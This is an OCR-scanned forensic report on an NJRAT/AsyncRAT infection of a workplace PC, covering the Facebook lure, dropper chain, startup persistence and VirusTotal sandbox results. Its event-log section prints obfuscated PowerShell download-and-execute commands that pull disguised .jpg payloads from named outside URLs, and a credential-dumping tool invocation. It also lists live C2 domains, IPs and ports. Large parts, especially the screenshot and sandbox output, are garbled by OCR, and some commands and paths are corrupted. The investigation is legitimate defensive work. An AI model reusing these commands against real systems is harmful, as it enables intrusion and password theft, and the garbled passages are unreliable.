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Indicator of Compromise (10C):

* A couple of visual basic & power shell scripts & batch files were found in many places in the

victim device created in more than one date.

1) (Rtyurtuueu.psl, uyolytouiureysdgsdg.bat, ret6346346.bat, file3.ps1, Asy.psl, Asy.bat,
3242343242.ps1) in C:/Users/Public folder

2) (Yutururt.psl, Asyvbs, 77575745745.vbs) in C:/ProgramData/WindowsHost and this hidden
folder was created by the trojan.

3) (Admin.bat, admin.ps1, admin.vbs in C:/ProgramData/WindowsUpdate) and this hidden
folder was created by the trojan.

4) (URL.bat, tmp8F4A.tmp.vbs, tmp48D7.tmp.vbs, tmp94F5.tmp.vbs, tmp184A.tmp.vbs,
tmpD12C.tmp.vbs, tmpD138.tmp.vbs) in C:/Users/o.hamza/AppData/Local/Temp folder.

® There are some files containing several login credentials related to the User:0.hamza
(FPS6TEMP10.txt, x.txt, -f 11pass.html).

* There is a cabinet archive file {.cab) called (Ll bl y siia phia o Liila LSa cab
Which was found in WinRAR history, it seems that the user of this PC downloaded it.

® Some of those scripts are existing In the startup and some changes are made in the Windows
Registry to make them working once the device is rebooted (yutururt.vbs, Asy.ps1,
77575745745 .vbs)

*  Using netstat, it shows that there was a working process (aspnet_compiler.exe) trying to connect
to a public IP address.

Regarding the last point, there was a campaign in the last months for such a kind of eye-catching
headlines in some fake Facebook pages and those Facebook posts are sponsored to reach large number
of people.

So | assume that there was a kind of relation between those suspicious activities in the PC and the file
found in WinRAR.

isolated environment for the malware analysis and started searching
spicious posts in Facebook which [s shown in the below figures (Fig.
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ich is public cloud storage services site http://files.fm
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 Ifyouclick on the mentioned URL, it will take you the download page shown below in (Fig. 3)
Which contains .rar file to be downloaded,

0 b huoglingh Slagpae i X L AR - IV
€ 0 C @ Bentnvl/dsbmeiv

2% m D@

QfUesIM sowions - ams - Toos  Buskess  Prcig Upload ties mh-mx

Fig.3

When download this file and extract it, it contains 2 files shown below in (Fig. 4, one is .js JavaScript file
and the other Is .txt file contains the password to needed extract these files (This Js file working as a
Downloader or Dropper to download the main malicious software).

Bl 4ol Barpl Aglr Slagpme 81 st (evabastion copY)

Me Cosvrmsds ook Tpvosisy m.t& - - = "
BOODD)i e \NDO &P

Add Bamnte Tem View Ddete  Fied  Wimsd o | Vieoon Commeny Rotea 39X

+ -thﬁ_WAy-mmwrltyw S & & > _.,
':.... = See  Pudnd  odtted Chedam

ittt iy g il i 10 ¢ Awoam 1548 lovaScpt Fla TSRS, ATASIECS |
& wtwl pnle - 65 It Docevest A PO DONVA Y |

Tolad 3l 1152 BSS bylew
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Once executing this .js file, and with help of using Wireshark to capture the traffic, it shows the
script made a connection with this compromised page:

tobactsmed|[dotlly/ 6761f2fa-862e-4aa2- -447e82d7b6c0/GDGFSWGNGE_DEC.jpg
to download the second part of the attack. (this .jpg file contains an embedded executable
script)
It downloads those scripts (FYCATFSQBI.ps1, sc.ps1, XSFTBRNMGQBYS.bat) to C:/Users/Public
folder, also a binary file is downloaded. '
And created C:/ProgramData/WindowsHost hidden folder and download this script to it
(EQTIBFRFQEF.vbs)
And it made some changes to Windows Registry to include (EQTIBFRFQEF.vbs) in startup.

Fig.5

Upon startup, this script (EQTIBFRFQEF.vbs) is executed (XFTBRNMGQBYS.bat) which In turn
invokes power shell script (FYCATFSQBJ.ps1)

The last power shell script is executes (aspnet_compiler.exe) and injects the client part of the
remote access trojan (NJRAT) into it.

The below figure shows that process (aspnet_compiler.exe) is up and running upon startup with
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Fig. 6
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With the help of netstat command and Wireshark, we can see that this malicious process
(aspnet_compiler.exe) Is trying to connect to this domain name: (2727.libya2020.com[.]ly)

And it translates to IP address (45.74.0.164) and try to connect to it by sending SYN packet to
port 2727 in, (Fig.7 & Fig. 8).
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* Regarding this domain (libya2020.com.ly) which is used as the remote access trojan N|RAT server

part, this domain is registered on 20 Jan 2020 by this person (Tarek Eshkerban) in Misrata as
show in the wholis information of .ly cctid (shown below In Fig. 9).

Fig. 9

¢ And this domain (libya2020.com.ly) is hosted in Libya on this IP address (62.240.36.45) but the
attacker subdomain (2727.libya2020.com.ly) is hosted in the UK which quite strange on how the
attacker manage to register this subdomain assuming that the mentioned above person Is not.

Concluslon: From all the above malware analysis, we see that the circumstances and events are the
same on my Sandbox device and the compromised PC of Osama in terms of the downloaded scripts, the
created folders, the changes in the Windows registry, and the running process of aspnet_complier.exe
which establishing connection with a Public IP address.

This remote access trojan is has a graphic interface which enable the attacker to remotely control the
victim’s PC by remote degktop, manipulating files, manipulate the registry, log keystrokes, steal
passwords stop A ""P) Qnd applications, record the computer’s camera and microphone, open a

Page 7 of 7
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Investigation of possible hack incident reported on 2023-08-22
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Objectives:
Find if it is a hack, is it from inside or outside, find proof, and how it was done.
Use what is discovered to check other PCs and take actions to prevent future attacks.

Make plans to deal with similar cases in future.

Research steps (many of them done In parallel):

The Billing division identified the account who appeared in the leaked screen shot, after that we got the
PC and started investigations as the following:

(1)- Check the event logs for suspicious events: found some evidence related to step (2)
(2)- Search for files and folders created on the date of incident: found some evidence.
(3)- Search in startup: found active evidence.

(4)- Check the installed programs: no suspiclous programs found.

(5)- Search for images (possible screen shots): no suspicions found.

(6)- Search for deleted files on the date of incident: .

{7)- Scan with anti-malware (try more than one, do not delete infections): scanned by ‘Microsoft Safety
Scanner’ but did not find malware, scanned by ‘eSET’ found 13 malware programs.

(8)- Analyze the hacking programs and scripts: found password extraction programs, suspicious startup
scripts connecting to suspicious domains, and possibly privilege escalation programs.

(9)- Check the installed extensions in the web browsers: no suspicions found.

{10})- Check browsing history: no evidence found.

C- Results summary:

First hack: 2022/8/1 and still active (starts every time when user logs In after computer starts).

From analyzing the files, we found signs of hacks on: 2022-8-1, 2022-9-25, 2022-10-10, 2022-12-01,
2022-12-20, and 2023-3-01

Last action on 2023-8-22




Research steps and observations in more details:

(2) Checking the files and folders of the hard disk created on the date of incident we found the
following:

By searching the for files and folders created or modified at the date of incident, found two folders on
the root of drive C: created on the date of interest (2023-8-22)

One folder named “C:\Downloads” created at 10:44:29 and it is empty.

The other is named “C:\Extracted” created at 10:46:28 contains password recovery program and its
output file containing the extracted passwords from Outlook, Edge browser, and Chrome browser
created at 10:46:28.

It seems that this PC has been hacked many times before, because when searching the hard disk, we
found hacking scripts and text files containing the user login information including the passwords.

Found in the folder C:\Users\Public\ some scripts of previous hacks created on: 2022-8-01, 2022-10-10,
2022-12-01, 2022-12-20, and extracted passwords file created on 2022-9-25,

Also found in the folder C:\ProgramData\ some folder and scripts of previous hacks created on: 2022-
08-01, 2022-10-10, 2022-12-20, 2023-02-01, 2023-08-22

Searching for script files named *.bat, *.ps1, *.vbs found the following suspected scripts:
C:\ProgramData\CSharpAuthors.bat

C:\ProgramData\CSharpAuthors.ps1

C:\ProgramData\CSharpAuthors.vbs

C:\ProgramData\DFS\Admin.bat

C:\ProgramData\DFS\Admin.ps1

C:\ProgramData\DFS\Admin.vbs

C:\ProgramData\WindowsHost\Asy.vbs

C:\ProgramData\WindowsHost\77575745745.vbs

C:\ProgramData\WindowsHast\yutururt.vbs

C:\ProgramData\windowsUpdate\admin.bat
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C:\Users\Public\Asy.bat

C:\Users\Public\Asy.ps1

C:\Users\Public\file3.ps1

C:\Users\Public\ret6346346 bat
C:\Users\Public\retyurtueu.ps1

C:\Users\Public\ 3242342342.ps1

* C\Users\Public\uyoiytoytolureysdgsdg.bat
C:\Users\o.hamza\AppData\Local\Temp\URL.bat
C:\Users\o.hamza\AppData\Local\Temp\tmp48D7.tmp.vhs
C:\Users\o.hamza\AppData\Local\Temp\tmp8F4A.tmp.vbs
C:\Users\o.hamza\AppData\Local\Temp\tmpD138.tmp.vbs
C:\Users\o.hamza\AppData\Local\Temp\tmp184A.tmp.vbs
C:\Users\o.hamza\AppData\Local\Temp\tmp34F5.tmp.vbs
C:\Users\o.hamza\AppData\Local\Temp\tmpD12C.tmp.vhs

C:\Extracted\CxdorXqGAGZ.vbs

Also found files containing extracted passwords from Outlook, Edge browser, and Chrome browser,
these are 3 files in 3 locations one old and two new:

C:\Users\Public\x.txt (2022-9-25 12:00)
C:\Users\o.hamza\AppData\Local\Temp\FPS6TEMP10.txt (2023-8-22 10:45)
C:\Extracted\-f 11pass.html (2023-8-22 10:46)

(1) Searching in ‘Windows Event Logs’: Only two types of event logs have useful Information but limited
in dates:

‘Windows Logs\Security’: from 2023-08-13 to 2023-08-22.
‘Applications and Services Logs\Windows PowerShell': from 2023-01-01 to 2023-08-22.

So, we can find some information about the last incident, but we cannot find information about the first
starts of the incident (dated 2022-08-01 or 2022-10-10 or 2022-12-20).

By searching the event logs before and after the time of folder ‘C:\Extracted’ 2023-8-22 10:46, we
found:

‘gpla.gov.ly’




By downloading and analyzing them (using their URLs):
'https://positivelife.gr/_89574184-208¢c-4e1c-a050-ch2 1a43b9455/AXBCVSIMES_BYPASS.jpg’
'https://gpla.gov.ly/_374e9d95-4532-40cf-922d-bed97b2857b6/new.jpg'

The files are named as Images (.jpg), but they are scripts to download and execute other files. One to
download and execute script seems to get administrator privilege (no network activity by
VirusTotal.com analysis) downloaded to 'C:\ProgramData\DFS\admin.ps1', and the other to download
and execute password extractor ‘AlllnOnePasswordRecoveryPro.exe -f 11pass.html’.

By searching online for this domain ‘gpla.gov.ly’ found reports of it being hacked since 2021-3-16, it
seems used by hackers to hack and spread malware, the main page of the site is not working, but the
URL for downloading the above script In JPG file Is working.

This is the link of detailed report:

https: icro.com/en e 23/a/earth-bhogle-campaigns-target-middle-east-with-
geopolitical-lures.html

This report describes an attack technique using that URL, maybe similar to our case but not exact, they
mention 2 domains ‘gpla.gov.ly’ and *.libya2020.com.ly’ which are used in our case.

Earth Bogle: Campaigns Target the Middle
East with Geopolitical Lures

#t GATE3 a0 $los2 SREREN SN Sk a1 st 1ol 2022 whch uses Midole Eastem peopony ol thermar kires 1 GHrtiune WRAT sz hngwn i Eddabindy 10 ifect vicoms azress e ek Fast and
L A

By P B dmiter Seren
Ay T 300
Readrrn B 128 aonds

<8 o Lnenns.

Authors While threat hunting, we found an active campaign using Middie Eastern geopoleical themes as a lure to Weloted Articles
target potential wetims In the Middie East and Africa. in this campaign we have labeled Earth Bogle, the threat RULEPOL - Trerdio Fets
m:‘mm, actor uses pubic cloud storage senvices such as fles fm and fadlem b o host malware, whie compromised e coberrrers Natacris
web servers distribute NRAT, p
Alakbor zahrarl et Bohsor (o L
S5 Resenrchne

N{RAT {also known as Bladabmdli} is & remoie access trojan (RAT) malware first discovered in 2012, tis Dttekng BOY oy Baceiter

primadtly used 1o gain unauthorzad sccess and contro! over infected computers and has been used in ATRNTS, £ BFF Fiters
various cyberattacks to target individuais and organizations in the Middie East. Users and security teams are

recommended to keep their systems’ security solutions updated and their respactive coud infrastricures

e _ properly secured 1o defend agains: this theeat.




NJRAT {aiso known as Bladabind() 15 8 remate access trojan (RAT) makware first discovered In 2013, itls Deteclon BFDeor Backier

pr 'y used to gan unauthorized access and control over infected computers and has been used in Yascts Abaiog BPF Fbars
various cyberatacks to target individuals and organizations in the Middie East. Users and SECurity teams are
recommended to keep their systems’ security solutions updated and thekr respective cloud Infrastructures
properly secured to defend aganst this threat.
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The web site ‘positivelife.gr’ seems not infected, but maybe there is a way to use it as online storage for
file transfer.

Related security events:

2023-08-22 10:46:28 AM

Process Command Line; "C:\Windows\System32\cmd.exe" /c set _ COMPAT_LAYER=RunAsinvoker &&
AllinOnePasswordRecoveryPro.exe -f 11pass.htmi

2023-08-22 10:46:28 AM

Process Command Line: "C:\WINDOWS\System32\WScript.exe™ "C:\Extracted\CxdorXqGAGZ.vbs"

2023-08-22 10:43:43 AM

Process Command Line: AWindowrsiSTstem32\WindowsPowershell\v1.0\powershell.exe" -Command [vold]
[System.Reflection.Assembly]::Lg [thpatsnl jicrosoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object

Net.WebClient),'DowAlloads

bed497b2857b6/new.jpg') | IE)

GI R Bsic.Interaction]::CallByname
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2023-08-22 10:43:43 AM

Process Command Line; "CAWINDOWS\System32\WScript.exe" "C:\Users\o.hamza\AppData\Local\Temp\tmp48D7.tmp.vbs"
2023-08-22 10:43:13 AM

Process Command Line: C:\WINDOWS\system32\cmd.exe /¢ ""C:\ProgramData\DFS\admin.bat" "

2023-08-22 10:43:12 AM

Process Command Line: "C:\WINDOWS\System32\WScript.exe" "C:\ProgramData\DFS\admin.vbs"

2023-08-22 10:42:56 AM

Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [vold]

[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBaslic. Interactlon]::CallByname((New-Object
Net.WebClient),'Dow__lo--tri__g'.replace(’__''n").replace('-

','ads'), [Microsoft.VisualBasic.CallType]::Method, https://positivelife.gr/_89574184-208c-4e1c-a050-
¢b21a43b9455/AXBCVSIMES_BYPASS.jpg') | IEX;[Byte[]]Sf=[Microsoft.VisualBasic.Interaction]::CallByname

2023-08-22 10:42:56 AM

Process Command Line: "C:\WINDOWS\System32\W5cript.exe" “C:\Users\o.hamza\AppData\Loca\Temp\tmp8F4A.tmp.vbs"
2023408-22 8:43:19 AM

Process Command Line: C:\WINDOWS\system32\cmd.exe /c ""C:\Users\Public\ret6346346.bat" "

{3) Searching for programs that run at startup:
There are many places for that, searched all we knew, and found the hack scripts in this location:
Steps: Lunch the Run App by pressing Windows key + R, or Windows key then type run,

Then enter the command: shell:startup




R e — |
& Run X

@ Type the name of a program, folder, document, or Internet
A resource, and Windows will open it for you.

[ shell:startup] T |

@ This task will be created with administrative privileges.

Lok || canca || Browse. |

g

»

Will show the folder “C:\ProgramData\WindowsHost” containing scripts that run at user login, from the

file dates it seems hacked at least 3 times on 2022-8-1, 2022-10-10, and 2022-12-20. These are 3

different scrips created at different dates, so probably there are 3 hackers having access to this PC, or

maybe less but each script is used for different application:

e W XQ o XQ o XE ma WE R TS XE
- u] X

LB [ = | WindowsHost

Type here to search

> [& Pictures
» [ Videos

v g Locsl Disk (C3)
> $SysReset
> SWinREAgent
| Downloads

» || Extracted

Home Share View b S .
4 . « ProgmmData » WindowsHost v B £ Search WindowsHost
~ -
» 2 3D Objects A Name Date modified Type
» I Desktop 775TSTASTAS vhs £/1/2022 10:58 AM VBScript Script File
» [& Documents Asywbs 12/20/2022 3:22 PM VBSeript Script File
> ¥ Downloads Windows 8/27/2023 12:49 PM Shorteut i
> B Music [&] yutururt.vbs 10/10/2022 11:20 AM VBScript Script File |
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Which will run the PowerShell file “C:\Users\Public\3242342342.ps1” and this PowerShell file is the

main malware.

The same steps are done by the other two files:

“yutururt.vbs” run: “C:\Users\Public\ret6346346.bat” run: “C:\Users\Public\rtyurtueu.ps1”
“Asy.vbs” run: “C:\Users\Public\Asy.bat” run: “C:\Users\Public\Asy.ps1”

1 F [ = | Public = X
Home  Share  View _ ~®
b 4 L@ U d o goecto: Rosees | T Boren - | [isaean
Mt Gy R N iy Praperties Lepear B3 58
ol [£) Paste shorteut Bicopyto~ wfRename  New e [gpvistory 5 iewert selection
Qipboard Organize ~ New N Open Select
« v 4 [l » ThisPC » Local Disk(C) » Users » Public v B -
Pictures # A Name Date modified Type
| Events [ Asypst 12/20/2022 3:22 PM Windows PowerS... 170 KB
"L Local Disk (C9) (] Asy.bat 12/20/2022 3:22 PM Windows Batch File 1KB
| Public [ file3pst 12/1/2022 10:19 AM Windows Powers... 75KB
1 Temp | fyurtueups] 10/10/202211:20AM  Windows PowesS... 118 KB
. ret6346346.bat 10/10/202211:20AM  Windows Batch File 1K8
@ Onbyive xixt 9/25/20221200PM  Text Document 168
I This PC [ 3242342342 st 8/1/2022 10:58 AM Windows Powers.. 102 KB
"‘:. DObjects || uyoiytoytoiureysdgsdg.bat 8/1/2022 10:58 AM Windows Batch File 1K8
0O | 1] desktop.ini 3/7/2022 9:22 PM Configuration sett... 1KB
= s 5 Public Account Pictures B/23/2023 532 PM File folder
| Documents. |y Public 4710/2022 10:42 AM File folder
& Downloads || [ public Documents 3/7/2022 10:06 PM File folder
& Music Libraries 3/7/20229:23 PM File folder
Pictures [, public Downloads N2 B3PI File folder
I Videos . Li Public Music 37/20229:23PM File folder
*. el i :23 PM der
Reepiui G :ux‘:'xs 33,!?’;2;2«;::: PM E:g:u:w
s New Volume (D; e ' e
[ s Extr (F) ) - = S )
[ — B2 (G) v < SRR it d R W L T R U
17items =L
: P\
(8) Scripts analysis: / N

(e ? !‘&fsb
)
The main scripts that run at stz g e@
C:\Users\Public\Asy.ps1 ﬂ:"‘

C:\Users\Public\retyurtueu.ps1 J
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C:\Users\Public\ 3242342342 ps1 2022-08-01 10:58
Analyzing Asy.psl, rtyurtueu.ps1, 3242342342,ps1;

They are all similar obfuscated ‘PowerShell’ scripts, could not find easy way to de-obfuscate all of it,
some parts can be obfuscated but some parts are executable files that require disassembly and debug
tools and maybe long time.

Trying the online malware scan and analysis tools, found that the best one is ‘virustotal.com’.

Uploaded to VirusTotal.com for analysis, the results:

Analyzing Asy.ps1 (2022-12-20 15:22): Only 11 of 59 flagged it as malicious, not previously reported.
Network Communication: DNS Resolutlons: dex1.duckdns.org = 41.254.64.253, 104.250.169.165
fp2e7a.wpc.2bed.phicdn.net =

fp2e7a.wpc.phicdn.net = 192.229.211.108 (maybe normal CDN)

IP addresses: 41.254.64.253 (maybe LTT 4G), 104.250.169.165 (maybe PureVPN), 192.229.211.108
(maybe EDGECAST, Verizon Business, Cable/DSL, United States).
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DETECTION DETAILS RELATIONS

BEHAVIOR

(D 11 security vendors and 1 sandbox flagged this file ae maficlous

d4fe336edT 1 dba21aM095%ed 776384ebI0I5534b2B000baISHE63L5E9C2T592

COMMUNITY

skain the VT Communty end enjoy edditional communlty Insights snd crodsourced detections, plus an AP! key 1o ulomate checks,

Contacted Domains 3) ©

Domain Detactions
dex1.duckdns.org 5/88
fp2eTa wpc.2bed phicdn.net 0 /88
fp2eTa.wpc.phicdn net o/es

Contscted IP addresses (3) @

P Detections

104.250.169.165 0/87

182.229211.108 1188

41.264,64.253 0/88
Graph Summary @

Created

2013-04-12
2014-11-14
2014-11-14

Registrar

Gandi SAS
GoDaddy.com, LLC
GoDaddy.com, LLC

Avtonomous System Country

15132
21003

us
Ly

® 3 contactedips

@ 3 contacted domains

@ 1 dropped fles

160.24 B
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DETECTION DETALS RELATIONS BEHANIOR CoMMUMTY

2y Pha aa AP ke s secmats chacks,

B & VirusTotsl Observer L1

B @ e Ad MA B2 M1 42 &5

Activity Summary DewnlosdArtiiacts Full Reports »  Help »

A 4 Detactions i Mitre Signatures @ IDS Rules 1 Sigma Rules % Dropped Flies ' Network comms

Bahavior Tags Q
arcdabugariemt bngatoes
Dynamic Analysis Sandbex Detectiona O

A\ The sandbex Zenbex flags this s s: MALWARE TROJAN EVADER RAT

MITRE ATTACK Tactics and Techsiquas. Opan in MITRE ATTACK Mavigator ~
— Privilsge Escalution Tassod

@ Procoss injection  TI885

Injocis & PE fila Into  forsign prcessas

Writes to foraign mamery reglans

— Delenss Evaslon Thosis

@ Process Injectien T3

Injects a PE fila inlo 8 foreign processes
Writea 1o foreign memary reglens

@ VriskaSonSandbex Evaskn  TH87

@ Disable or Modify Tools  TH582001
Creatas guard pages. oftan used to prevent raverss enginesting and debugging

< Discovery Thsesr
+ Command and Control TABH
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— Discovery TADSOT

@ Application Window Discovery T1910
Sampia monitors Window changes (e.g. starting spplications), analyze the sample with the simulalion cookbook

@ Remote Systam Discovery 1018
Reads the hosts fls

@ Process Discovery TH057
Quaries a list of all running processes

@ System Information Discovery T1082

Queries the voluma informstion (name, serlal number elc) of a device
Chacka the free space of harddrives

Queries the cryplographlc machine GUID

Reads software policies

@ Fila and Diraclory Discovery  T1083
Reads ini fles

@ Viruakzation/Sandbax Evasion  T1887
Contains long sleeps (>= 3 min)

May sleep (evasive loops) to hinder dynamic analysie
Contains madium sleaps (>= 30s)

@ Security Software Discovery  T1518.001
Trias to detect sandboxes and other dynamic analysls lools
May try fo delect the virtual machine to hinder analysis (VM ertifact sirings found in memary)

— Command and Control TABOTI
@ Applicalion Layer Protacol  T1071
C2 URLs / IPs found In malware configuration

Uses dynamic DNS senvicas
Performs DNS lookups

@ Non-Application Layer Protocol - T1085
Parforms DNS lookups

® Non-Standard Port  T1671
Datecled TGP or UDP traffic on non-standard ports
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Crowdsourced Sigma Rules ©

CRITICALO  HIGH1 MEDIUM1 LOWD

/A Matchas rule Pawershel Token Obfuscation - Powershall by frack113 st Sigma Integrated Rule Sel (GitHub)
L Defects TOKEN OBFUSCATION technique from fnvoke-Obfuscation

A\ Matches rule Change PowerShell Pollcies to an Insecura Lovel by frack113 at Sigma Integrated Rule Set (GltHub)
' Detects use of executionpolicy aption fo set insecure policies

Crowdsourced IDS rules @

Z\ Matches rula ET INFO DYNAMIC_DNS Query to * duckdns. Domaln at Proafpoint Emerging Threats Open
L+ Misc activity

A\ Matches rule ET INFO DYNAMIC_DNS Query to @ * duckdns .org Domain at Proofpoint Emerging Threats Open
L Potentally Bad Traffic
Network Communication ©

DNS Resolutions
— @ dexl.duckdns.org

41.254.64.263
104.250.169.165

— @ fp2aTa.wpc.2bed phicdn net

= @ fp2eTa.wpc.phicdn.net
192.229.211.108

IP Treffic

@ 104.250.169.165.7678 (TCP)
@ 41.254.64.263:7670 (TCP)




Memory Pattern Urls
@ dexi.duckdns.org

Behavior Similarity Hashes @

VirusTotal Jujubox ~ db141c1feec07c07d11cc308bcIcd 188
VirusTotal Observer  bdc373fc9c9e24e2a66f477438523cf
Zenbox 80d5664ee00d7cb9454f4ad0435ac571

Flle system actions @

Files Opened

M %WINDIR%\system32\WindowsPowerShellw1_0\powershell exe

@ C:\Program Files

@ C:\Program Flles (x86)\Autolt3\AutoltX\

@ C:\Program Files (x86)\Common Flles\Oracle\Javajavapath\

@® C:\Program Flles (x86)\WindowsPowerSheliModules!

@ C:\Program Flles (x86)\WindowsPowerShel\Modules\Microsoft PowerShell. Operation. Valldation\
@ C:\Program Flles (x86)\WindowsPowerShel\Modules\PackageManagement\

@ C:\Program Flles (x86)\WindowsPowerShellModules'\Pester\

@ C:\Program Files (x86)\WindowsPowerShel\Modules\PowerShellGet\

@ C:\Program Flles\WindowsPowerShel\Modules\

@ C:\Program Files\WindowsPowerShel\Modules\Microsoft PowarShell.Operation. Validation\

@® C:\Program Files\WindowsPowerShelfiModules\PSReadline\

@ C:Program Files\WindowsPowerShel\Modules\PackageManagement\

@ C:\Program Files\WindowsPowerShellModules\Pesterl

@ C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\

@ C:\ProgramData\chocolatey\bin\

@ C:WUsers\<USER>\AppData\Local

® C:WUsers\<USER>\AppData\LocaiMicrosoft\Windows\PowerShell

@ C:\Users\<USER>\AppData\LocalMicrosoft\Windows\PowerShel\StartupProfleData-Noninteractive
M C:Wsers\<USER>\Documents

# C:WUsers\<USER>\Downloads\Asy.ps

@ C:\sers\desktop.ini

A CMirarslusadAnnDatall ncall

3%\ jaanal nns\aannat ranhrowsars axva lnn
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Filles Written

@ C:Wsers\<USER>\AppDataiL ocafTamp\eixvnmu.tjq.psm1

€@ C:Users\<USER>\AppData\LocalTemp\utmzxbz |4z ps1

@ C:Wsers\user\AppData\LocalMicrosofttWindows\Caches

@ C:Wsers\user\AppData\LocalMicrosofMWindows\PowerShel\StartupProflleData-Noninteractive
@ C:Wsers\user\AppData\LocaliTemp\__PSScriptPolicyTest_medio10k aod.ps1

@ C:Wsersiser\AppDatalLocakTemp\__PSSeriptPolicyTest_tuusticn.sia.psm1

@ C:Wsers\user\AppData\Roaming

@® C:Wsers\user\AppData\Roaming\MicrosoftWindows\Recenl\CustomDestinations

@ C:Userswser\AppData\Roaming\Microsofi\Windows\Racent\CustomDestinations\WAPBOTEYIZJLOGMWPTFF.temp
@ C:Windows\system32\catroot

@ C:Windows\system32\catroot2

@ \Device\ConDrvi\Connect

~

Files Deleted

® C:Wsers\<USER>AppData\l ocalTemp\el0xvnmu.{jq.psm1

® C:Wsers\<USER>\AppDatall ocakTemp\utmzxbz.14z.ps1

@ C:\Usersiuser\AppData\LocalTemp\ _PSScriptPolicyTest_medio10k.ao4.ps1
@ C:\UserswusarAppDatalLocahTemp\__PSScriptPolicyTest_tuuetjcn sla.psm1

Files Dropped
— CAUsorswser\AppDatalLocahTemp\__PSScriptPolicyTest_medlo10k ao4.pst

cha256  bne71913329aB5567675c00cab65611818co66000d952979bbi3cbad005bez8
ypo  TEXT

— CAUsers\user\AppData\Local\Temp\__PSScriptPolicyTest_tuuetjcn.sla.psm1

sha266 bae71913329a85567675ce0cab965611818cc660d0d952979bbf3cbad005be28
tpe  TEXT




Replstry actions @

Registry Keys Opanad

® HKCRICLSIDYOAZOFFIE TFOC-4437-8811-F424491E 393 linprocServer32
® HKCRICLSIDV0AZIFF9E-TFBC4437-8B1-FA24431E3531]\nprocServer2iox)
® HKCRICLSIDYOAZSFFIE-TFIC4437-8511-FA24401E3531)\Server

© HKCRICLSIDYOA29FF9E-TFIC-4437-8B11-FA24401E3031)\Server\0x0

@ HKCU\Control PansNmemational

® HKCUIControl PaneNintemetional\sYearMorth

# HKCUEnvironment

® HKCUIEMvionment®SMODULEPATH

M HKCU\SOFTWAREWMIcrosof\PowerShel\ShelidsiMicrosoft PowerShell
® HKCU\Sohware '

~

Reglstry Keys Set

— @ HKU\S-1-5-21-4270068108-2931534202-3907561125-100 T\Soltwane\Mi fiWWindows\C: farsion\ExploreriFlisExts\ axe\OpenWithProgida\exefiis

Binery Data

Process and service actions ©

Processes Tres

B 2648 - clwindows/system32/WindowsPowsrShollv1. Olpowershal.sxs -la Asy.ps1

@ 3834 - C:\Windows\System32\WindowsPowarShelfw1. 0\posrarshell.exs” -nologo -ExeculionPolicy ricied file "C:\Users\useriDeskiop\Asy ps1
@ L 4720 - C:\Windows\Systsm32\conhost exe C:Windows\system32\conhost.axe OxfTllf -ForceV

@ L 8000 - C:\Windows\Wi ft NETVF rkwd.0.30319aspnet_regbrowsers.exe




Runtime Modules

W ADVAPI32.dil

® API-MS-WIN-DOWNLEVEL-SHUWAPI-L1-1-0.0LL

@ API-MS-Win-Security-LSAL oolup-L1-1-0.dll

® C:AWindows\Microsok NET\Framework64\v4.0.3031 AOLEAUT32 dil

% C:\Windows\Microsol NET\Framework64'v4.0.30319\clr.dil

B C:Windows\Mi NETVF 4.0.30319chit.di

® C:Windows\Microsolt NET\Framework64'v4.0.30319\diasymreader.dil

® C:\Windows\Microsol NET\Framework64\v4.0.30318\en-US\mscome.di

® C:AWindows\Microsok NET\F: kB4tv4.0.30319\en dil

® C:\Windows\Microsolt NET\Framawork64'v4.0.3031%\macores.dil

® C:Windows\Microsolt NET\Framework64'v4.0.30319\macoreel di

® C:\Windows\Microsol NET\Framework64'v4.0.30319\mscomc.dil

® C:Windows\Microsoft NET\FrameworkB41v4.0.30318\nlssorting.dl

® C:\Windows\Microsoft. NET\Framework64\v4.0.30319\0le32.d1

® C:\Windows\Micrasolt. Netlassembly\GAC_64\System.Dataw4.0_4.0.0.0_b77a5c561934e089\System. Data.dll

@ C:\Windows\Micrasol Neflassembly\GAC_64\System. Transactions'4.0_4.0.0.0__b77a5c5619348085\Syslem. Transacsions.dil
® C:\Windows\Microsoft. Net\asssmbly\GAC_E4\mscorib4.0_4.0.0.0__b77a6c561034008M0leaut32.di

® C:Windows\Microsoft Neflassembly\GAC_E4\mscoribvd 0_4.0.0.0_b77a5¢561934008%securi2.di

% C:Windows\Micrasoft. Natlassambiy\GAC_E4\mscorlibvd.0_4.0.0.0__b77a5c561934a089\aheli32.dil

@ C:Windows\Micrasoft Net\assombiy\GAC_MSIL\System Management Automationvd.0_3 0.0.0__31br3B56ad36435\System Management Automation.di
® C:\Windows\Microsoft Netlassembly\GAC_MSIL\System. Management. Automationtv4.0_3.0.0.0__31b13856ad364¢35\amsl.di
@ C\Windows\Micrasoft Net\assembly\GAC_MSIL\Systerm. Management Automationtvd.0_3.0.0.0__31b/3856ad364e35\shiwep!.di
® C:Windows\Microsoft Neflassembly\GAC_MSiL\System Management Automationv4.0_3.0.0.0_31b{3856ad364a35\urimon.dil

® C:Windows\Wierosoh. Neflassombly\GAC_MSIL\Systerm Management Automationtv4 0_3.0.0.0__31bf3856ad36435Wintrust di
& CWindows\Wicrasoft NallassambhAGAC MSH \Svatamivd 0 4000  h77aRcRE1834A0AG\MAL di




Highlighted actions @

Calls Highlighted
® GetSystemMstrics
® GetTickCount

@ IsDebuggerPresent
» Sieep

Decoded Text
@ [Servar™: “dex1.duckdna.org”, "Port”: "7878", *Version™: "0.5.78", "MutexName™ “AsyncMutex_651B0kPnk”, "Autorun™ “false”, “Group™ "nuil’}

Highlightsd Text

® Adminisirator: c:windows/system32/WindowsPowerShallv1.0/powershell.exe
@ Chack online for a soluion and close the program

® Windows PowerShell

® ciwindowslaystem32WindowaPowerShellv1.0/powearshell exe

Analyzing rtyurtueu.ps1 (2022-10-10 11:20): Only 14 of 57 flagged it malicious, not previously reported.

Network Communication: DNS Resolutions: new.libya2020.com.ly = 45.74.0.166 (INTERNET-SHIELD-
VOXILITY-UKL) = time out

libya2020.com.ly = 62.240.36.45 = strange site|

Domain hacked or the owner is involved.
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Siza Last Ansiysis Dsis
21K 1 minuie g ?

Iﬂh!l._ oy By Incights snd ermedsewed d Pplos an AP| kay 1o pmtomats checks,
B Displsy grouped sandbox reports
B i ViusTolsl Juubex B @ ViusTotal Obssrvar
0 @ Zebe 2 P2
Activity Summary DownlsadArfacts +  FulReperis = Help =
A Detections 8 Mitre Bignatures @® DB Rulss " Bigma Rules & Dropped Flles «' Network comms
HOTFOUND NOT FOUND NOT FOUND HOT FouND A1TEXT 1o 1@
Babavior Tags @ ~

